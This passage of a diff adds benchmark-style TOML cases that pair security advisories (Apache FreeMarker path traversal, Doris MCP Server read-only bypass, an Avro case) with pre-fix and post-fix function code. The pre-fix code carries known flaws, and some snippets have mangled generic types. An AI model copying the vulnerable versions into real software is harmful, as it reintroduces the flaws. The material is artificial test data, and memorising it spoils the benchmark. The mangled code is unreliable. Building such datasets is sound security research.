+post_fix = " public String[] javaAnnotations(JsonProperties props) {\n final Object value = props.getObjectProp(\"javaAnnotation\");\n if (value instanceof String && isValidAsAnnotation((String) value))\n return new String[] { value.toString() };\n if (value instanceof List) {\n final List> list = (List>) value;\n final List annots = new ArrayList<>(list.size());\n for (Object o : list) {\n if (isValidAsAnnotation(o.toString()))\n annots.add(o.toString());\n }\n return annots.toArray(new String[0]);\n }\n return new String[0];\n }\n\n private static final String PATTERN_IDENTIFIER_PART = \"\\\\p{javaJavaIdentifierStart}\\\\p{javaJavaIdentifierPart}*\";\n private static final String PATTERN_IDENTIFIER = String.format(\"(?:%s(?:\\\\.%s)*)\", PATTERN_IDENTIFIER_PART,\n PATTERN_IDENTIFIER_PART);\n private static final String PATTERN_STRING = \"\\\"(?:\\\\\\\\[\\\\\\\\\\\"ntfb]|(? list = (List>) value;\n final List annots = new ArrayList<>(list.size());\n for (Object o : list) {\n annots.add(o.toString());\n }\n return annots.toArray(new String[0]);\n }\n return new String[0];\n }\n\n // maximum size for string constants, to avoid javac limits\n int maxStringChars = 8192;\n\n /**\n * Utility for template use. Takes a (potentially overly long) string and splits\n * it into a quoted, comma-separted sequence of escaped strings.\n *\n * @param s The string to split\n * @return A sequence of quoted, comma-separated, escaped strings\n */"
+repo = "apache/avro"
+url = "https://github.com/apache/avro.git"
+
+[[case]]
+advisory = "GHSA-m35w-xx8c-6xc7"
+advisory_text = "Apache Doris-MCP-Server: Improper Access Control results in bypassing a \"read-only\" mode\n\nAn attacker with a valid read-only account can bypass Doris MCP Server’s read-only mode due to improper access control, allowing modifications that should have been prevented by read-only restrictions.\n\nImpact:\n\nBypasses read-only mode; attackers with read-only access may perform unauthorized modifications.\n\nRecommended action for operators: Upgrade to version 0.6.0 as soon as possible (this release contains the fix)."
+commit = "5923cc1c8973069a6d54eca1948a10488cbf409e"
+cwe = "CWE-284"
+family = "access_control"
+function = "execute_sql_query"
+function_lines = [[829, 858]]
+id = "apache-doris-mcp-server-58f237c099a19c43"
+language = "python"
+method = "fix_site"
+parent = "9b5ac8533dd5d0637cc3de70a0fd9dbd272beae6"
+path = "doris_mcp_server/utils/query_executor.py"
+post_fix = "async def execute_sql_query(sql: str, connection_manager: DorisConnectionManager, **kwargs) -> Dict[str, Any]:\n \"\"\"Execute SQL query - unified convenience function for MCP tools\n \n This function now includes security validation to ensure safe query execution.\n All queries are validated against the configured security policies before execution.\n \"\"\"\n try:\n # Create query executor with the connection manager's configuration\n executor = DorisQueryExecutor(connection_manager)\n \n try:\n # Extract parameters from kwargs or use defaults\n limit = kwargs.get(\"limit\", 1000)\n timeout = kwargs.get(\"timeout\", 30)\n session_id = kwargs.get(\"session_id\", \"mcp_session\")\n user_id = kwargs.get(\"user_id\", \"mcp_user\")\n \n # The execute_sql_for_mcp method now includes security validation\n result = await executor.execute_sql_for_mcp(\n sql=sql,\n limit=limit,\n timeout=timeout,\n session_id=session_id,\n user_id=user_id\n )\n return result\n finally:\n await executor.close()\n \n except Exception as e:\n return {\n \"success\": False,\n \"error\": f\"Query execution failed: {str(e)}\",\n \"error_type\": \"execution_error\",\n \"data\": None,\n \"metadata\": {\n \"query\": sql,\n \"execution_error\": str(e)\n }\n }"
+pre_fix = "async def execute_sql_query(sql: str, connection_manager: DorisConnectionManager, **kwargs) -> Dict[str, Any]:\n \"\"\"Execute SQL query - unified convenience function for MCP tools\"\"\"\n try:\n # Create query executor\n executor = DorisQueryExecutor(connection_manager)\n \n try:\n # Extract parameters from kwargs or use defaults\n limit = kwargs.get(\"limit\", 1000)\n timeout = kwargs.get(\"timeout\", 30)\n session_id = kwargs.get(\"session_id\", \"mcp_session\")\n user_id = kwargs.get(\"user_id\", \"mcp_user\")\n \n result = await executor.execute_sql_for_mcp(\n sql=sql,\n limit=limit,\n timeout=timeout,\n session_id=session_id,\n user_id=user_id\n )\n return result\n finally:\n await executor.close()\n \n except Exception as e:\n return {\n \"success\": False,\n \"error\": f\"Query execution failed: {str(e)}\",\n \"data\": None\n }"
+repo = "apache/doris-mcp-server"
+url = "https://github.com/apache/doris-mcp-server.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "getURL"
+function_lines = [[138, 149]]
+id = "apache-freemarker-0209dc8ff7a5a0b9"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/ClassTemplateLoader.java"
+post_fix = " protected URL getURL(String name) {\n String fullPath = basePackagePath + name;\n\n // Block java.net.URLClassLoader exploits:\n if (basePackageIsRoot && !isSchemeless(fullPath)) {\n return null;\n }\n\n return resourceLoaderClass != null\n ? resourceLoaderClass.getResource(fullPath)\n : classLoader.getResource(fullPath);\n }\n"
+pre_fix = " protected URL getURL(String name) {\n String fullPath = basePackagePath + name;\n\n // Block java.net.URLClassLoader exploits:\n if (basePackagePath.equals(\"/\") && !isSchemeless(fullPath)) {\n return null;\n }\n\n return resourceLoaderClass != null ? resourceLoaderClass.getResource(fullPath) : classLoader\n .getResource(fullPath);\n }\n"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "concatPath"
+function_lines = [[814, 841]]
+id = "apache-freemarker-203931cda95af8bc"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " private String concatPath(List path, int from, int to) {\n StringBuilder buf = new StringBuilder((to - from) * 16);\n for (int i = from; i < to; ++i) {\n buf.append(path.get(i)).append('/');\n }\n return buf.toString();\n }\n\n /**\n * This class holds a (name, locale) pair and is used as the key in the cached templates map.\n */\n private static final class TemplateKey {\n private final String name;\n private final Locale locale;\n private final Object customLookupCondition;\n private final String encoding;\n private final boolean parse;\n\n TemplateKey(String name, Locale locale, Object customLookupCondition, String encoding, boolean parse) {\n this.name = name;\n this.locale = locale;\n this.customLookupCondition = customLookupCondition;\n this.encoding = encoding;\n this.parse = parse;\n }\n\n @Override"
+pre_fix = " private String concatPath(List path, int from, int to) {\n StringBuilder buf = new StringBuilder((to - from) * 16);\n for (int i = from; i < to; ++i) {\n buf.append(path.get(i)).append('/');\n }\n return buf.toString();\n }\n \n /**\n * This class holds a (name, locale) pair and is used as the key in\n * the cached templates map.\n */\n private static final class TemplateKey {\n private final String name;\n private final Locale locale;\n private final Object customLookupCondition;\n private final String encoding;\n private final boolean parse;\n\n TemplateKey(String name, Locale locale, Object customLookupCondition, String encoding, boolean parse) {\n this.name = name;\n this.locale = locale;\n this.customLookupCondition = customLookupCondition;\n this.encoding = encoding;\n this.parse = parse;\n }\n\n @Override"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "getClassNameForToString"
+function_lines = [[30, 38]]
+id = "apache-freemarker-29fe382661669370"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateLoaderUtils.java"
+post_fix = " public static String getClassNameForToString(TemplateLoader templateLoader) {\n final Class extends TemplateLoader> tlClass = templateLoader.getClass();\n final Package tlPackage = tlClass.getPackage();\n return tlPackage == Configuration.class.getPackage() || tlPackage == TemplateLoader.class.getPackage()\n ? tlClass.getSimpleName() : tlClass.getName();\n }\n\n}"
+pre_fix = " public static String getClassNameForToString(TemplateLoader templateLoader) {\n final Class tlClass = templateLoader.getClass();\n final Package tlPackage = tlClass.getPackage();\n return tlPackage == Configuration.class.getPackage() || tlPackage == TemplateLoader.class.getPackage()\n ? tlClass.getSimpleName() : tlClass.getName();\n }\n\n \n}"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "TemplateConfigurationFactoryException"
+function_lines = [[28, 31]]
+id = "apache-freemarker-35b46d5635d33c30"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateConfigurationFactoryException.java"
+post_fix = " public TemplateConfigurationFactoryException(String message) {\n this(message, null);\n }\n"
+pre_fix = " public TemplateConfigurationFactoryException(String message) {\n super(message);\n }\n"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "getTemplateInternal"
+function_lines = [[323, 463]]
+id = "apache-freemarker-46458e154673da1a"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " private Template getTemplateInternal(\n final String name, final Locale locale, final Object customLookupCondition,\n final String encoding, final boolean parseAsFTL)\n throws IOException {\n final boolean debug = LOG.isDebugEnabled();\n final String debugName = debug\n ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n\n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n\n final long now = System.currentTimeMillis();\n\n long lastModified;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n\n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n }\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" +\n \"sourceEquals=false\" +\n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) +\n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else {\n LOG.debug(\"Updating source because: \" +\n \"lastModifiedNotChanged=\" + lastModifiedNotChanged +\n \", cached.lastModified=\" + cachedTemplate.lastModified +\n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n\n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n\n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n\n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified;\n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }"
+pre_fix = " private Template getTemplateInternal(\n final String name, final Locale locale, final Object customLookupCondition,\n final String encoding, final boolean parseAsFTL)\n throws IOException {\n final boolean debug = LOG.isDebugEnabled();\n final String debugName = debug\n ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n \n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n \n final long now = System.currentTimeMillis();\n \n long lastModified = -1L;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n \n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n } \n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" + \n \"sourceEquals=\" + sourceEquals + \n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) + \n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else if (!lastModifiedNotChanged) {\n LOG.debug(\"Updating source because: \" + \n \"lastModifiedNotChanged=\" + lastModifiedNotChanged + \n \", cached.lastModified=\" + cachedTemplate.lastModified + \n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n \n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n \n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n \n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n \n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n \n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n \n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified; \n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "setSQLDateAndTimeTimeZone"
+function_lines = [[1293, 1316]]
+id = "apache-freemarker-5b201fbf15fe43ca"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/Environment.java"
+post_fix = " public void setSQLDateAndTimeTimeZone(TimeZone timeZone) {\n TimeZone prevTimeZone = getSQLDateAndTimeTimeZone();\n super.setSQLDateAndTimeTimeZone(timeZone);\n\n if (!Objects.equals(timeZone, prevTimeZone)) {\n if (cachedTempDateFormatArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n TemplateDateFormat format = cachedTempDateFormatArray[i];\n if (format != null && format.isTimeZoneBound()) {\n cachedTempDateFormatArray[i] = null;\n }\n }\n }\n if (cachedTempDateFormatsByFmtStrArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n cachedTempDateFormatsByFmtStrArray[i] = null;\n }\n }\n\n cachedSQLDateAndTimeTimeZoneSameAsNormal = null;\n }\n }\n\n /**\n * Tells if the same concrete time zone is used for SQL date-only and time-only values as for other\n * date/time/date-time values.\n */"
+pre_fix = " public void setSQLDateAndTimeTimeZone(TimeZone timeZone) {\n TimeZone prevTimeZone = getSQLDateAndTimeTimeZone();\n super.setSQLDateAndTimeTimeZone(timeZone);\n\n if (!nullSafeEquals(timeZone, prevTimeZone)) {\n if (cachedTempDateFormatArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n TemplateDateFormat format = cachedTempDateFormatArray[i];\n if (format != null && format.isTimeZoneBound()) {\n cachedTempDateFormatArray[i] = null;\n }\n }\n }\n if (cachedTempDateFormatsByFmtStrArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n cachedTempDateFormatsByFmtStrArray[i] = null;\n }\n }\n\n cachedSQLDateAndTimeTimeZoneSameAsNormal = null;\n }\n }\n\n // Replace with Objects.equals in Java 7"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "resolve"
+function_lines = [[92, 120]]
+id = "apache-freemarker-68401dcb84d645a6"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java"
+post_fix = " public Class resolve(String className, Environment env, Template template)\n throws TemplateException {\n String templateName = safeGetTemplateName(template);\n\n if (templateName != null\n && (trustedTemplateNames.contains(templateName)\n || hasMatchingPrefix(templateName))) {\n return TemplateClassResolver.SAFER_RESOLVER.resolve(className, env, template);\n } else {\n if (!allowedClasses.contains(className)) {\n throw new _MiscTemplateException(env,\n \"Instantiating \", className, \" is not allowed in the template for security reasons. (If you \"\n + \"run into this problem when using ?new in a template, you may want to check the \\\"\",\n Configurable.NEW_BUILTIN_CLASS_RESOLVER_KEY,\n \"\\\" setting in the FreeMarker configuration.)\");\n } else {\n try {\n return ClassUtil.forName(className);\n } catch (ClassNotFoundException e) {\n throw new _MiscTemplateException(e, env);\n }\n }\n }\n }\n\n /**\n * Extract the template name from the template object which will be matched against the trusted template names and\n * pattern.\n */"
+pre_fix = " public Class resolve(String className, Environment env, Template template)\n throws TemplateException {\n String templateName = safeGetTemplateName(template);\n \n if (templateName != null\n && (trustedTemplateNames.contains(templateName)\n || hasMatchingPrefix(templateName))) {\n return TemplateClassResolver.SAFER_RESOLVER.resolve(className, env, template);\n } else {\n if (!allowedClasses.contains(className)) {\n throw new _MiscTemplateException(env,\n \"Instantiating \", className, \" is not allowed in the template for security reasons. (If you \"\n + \"run into this problem when using ?new in a template, you may want to check the \\\"\",\n Configurable.NEW_BUILTIN_CLASS_RESOLVER_KEY,\n \"\\\" setting in the FreeMarker configuration.)\");\n } else {\n try {\n return ClassUtil.forName(className);\n } catch (ClassNotFoundException e) {\n throw new _MiscTemplateException(e, env);\n }\n }\n }\n }\n\n /**\n * Extract the template name from the template object which will be matched\n * against the trusted template names and pattern. \n */"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "rootBasedNameToAbsoluteName"
+function_lines = [[215, 225]]
+id = "apache-freemarker-6ff76988cae7dfa5"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java"
+post_fix = " String rootBasedNameToAbsoluteName(String name) {\n if (name.indexOf(\"://\") > 0) {\n return name;\n }\n if (!name.startsWith(\"/\")) {\n return \"/\" + name;\n }\n return name;\n }\n\n @Override"
